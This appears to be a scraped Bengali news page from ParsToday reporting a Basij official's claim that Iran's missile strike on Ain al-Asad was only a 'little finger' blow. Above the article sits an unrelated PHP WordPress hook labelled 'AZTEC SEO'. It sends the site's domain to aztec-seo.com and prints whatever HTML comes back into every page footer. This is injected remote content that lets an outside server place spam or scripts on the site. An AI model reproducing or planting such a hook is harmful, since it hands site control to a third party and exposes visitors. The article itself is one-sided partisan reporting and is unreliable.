/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
ইসলামী প্রজাতন্ত্র ইরানের স্বেচ্ছাসেবী সংগঠন বাসিজ বলেছে, ইরাকে মার্কিন ঘাঁটি আইন আল আসাদে যে ক্ষেপণাস্ত্র হামলা করা হয়েছে তা ছিল কেবল ইরানের কনিষ্ঠা আঙুলের আঘাত।
বাসিজের শিক্ষক শাখার উপ-প্রধান ব্রিগেডিয়ার মেহরান তাহমাসেবি আরও বলেছেন, মুসলিম বিশ্বের মহাবীর জেনারেল কাসেম সোলাইমানির জানাজা অনুষ্ঠানে জনগণ কঠোর প্রতিশোধের যে দাবি জানিয়েছিল তারই কিয়দংশ ক্ষেপণাস্ত্রের আঘাতের মাধ্যমে বাস্তবায়ন করা হয়েছে, এটা ছিল ইরানের কনিষ্ঠা আঙুলের আঘাত।
ইরানের বাসিজের এই কর্মকর্তা বলেন, মার্কিন ঘাঁটিতে ক্ষেপণাস্ত্রের সাহায্যে যে আঘাত হানা হয়েছিল তাতে মার্কিন সেনারা ভূগর্ভস্থ আশ্রয়কেন্দ্রে লুকাতে বাধ্য হয়। তারা প্রথমে বলেছিল কিছুই হয়নি, কিন্তু পরবর্তীতে ক্ষয়ক্ষতির কথা স্বীকার করেছে।
২০২০ সালের ৩ জানুয়ারি ইরানের জেনারেল কাসেম সোলাইমানি ও তার ৯ সহযোগী ইরাকে মার্কিন কাপুরুষোচিত হামলায় শাহাদাৎবরণ করেন।

জেনারেল সোলাইমানিকে কবর দেওয়ার আগেই মার্কিন ঘাঁটিতে ক্ষেপণাস্ত্র হামলা চালায় ইরানের ইসলামী বিপ্লবী গার্ড বাহিনী আইআরজিসি। মার্কিন ঘাঁটি আইন আল আসাদে ১১টি ক্ষেপণাস্ত্র নিক্ষেপ করে ইরান, এর প্রতিটি ক্ষেপণাস্ত্রের ওজন ছিল এক হাজার পাউন্ডের বেশি। সূত্র : পার্সটুডে